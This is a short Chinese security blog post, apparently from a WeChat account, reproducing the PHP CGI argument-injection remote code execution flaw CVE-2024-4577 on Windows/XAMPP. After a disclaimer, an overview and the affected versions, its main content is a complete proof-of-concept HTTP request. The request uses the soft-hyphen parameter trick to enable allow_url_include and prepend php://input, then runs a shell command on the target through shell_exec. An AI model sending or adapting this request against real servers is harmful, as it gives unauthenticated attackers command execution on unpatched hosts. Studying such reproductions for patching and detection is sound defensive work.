【漏洞复现】PHP CGI参数注入RCE漏洞(CVE-2024-4577)

【漏洞复现】PHP CGI参数注入RCE漏洞(CVE-2024-4577)

YGnight night安全 2024-06-09 10:43

公众号新规
只对常读

星标的公众号才能展示大图推送,
建议大家把公众号“
n
i
g
h
t

全”设为

标,









免责声明

night安全致力于分享技术学习和工具掌握。然而请注意不得将此用于任何未经授权的非法行为,请您严格遵守国家信息安全法律法规。任何违反法律、法规的行为,均与本人无关。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

漏洞概述

PHP程序语言在设计时忽略Windows操作系统内部对字元编码转换的Best-Fit特性,导致未认证的攻击者可透过特定的字元序列绕过旧有CVE-2012-1823的保护;透过参数注入等攻击在远端PHP服务器上执行任意代码。

建站集成软件包XAMMP Windows版本(使用语系为繁体中文950、日文932、简体中文936)默认配置下受该漏洞影响。

影响版本

PHP 8.3 < 8.3.8PHP 8.2 < 8.2.20PHP 8.1 < 8.1.29

漏洞复现

POC:

GET /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31

<?php echo shell_exec('dir');?>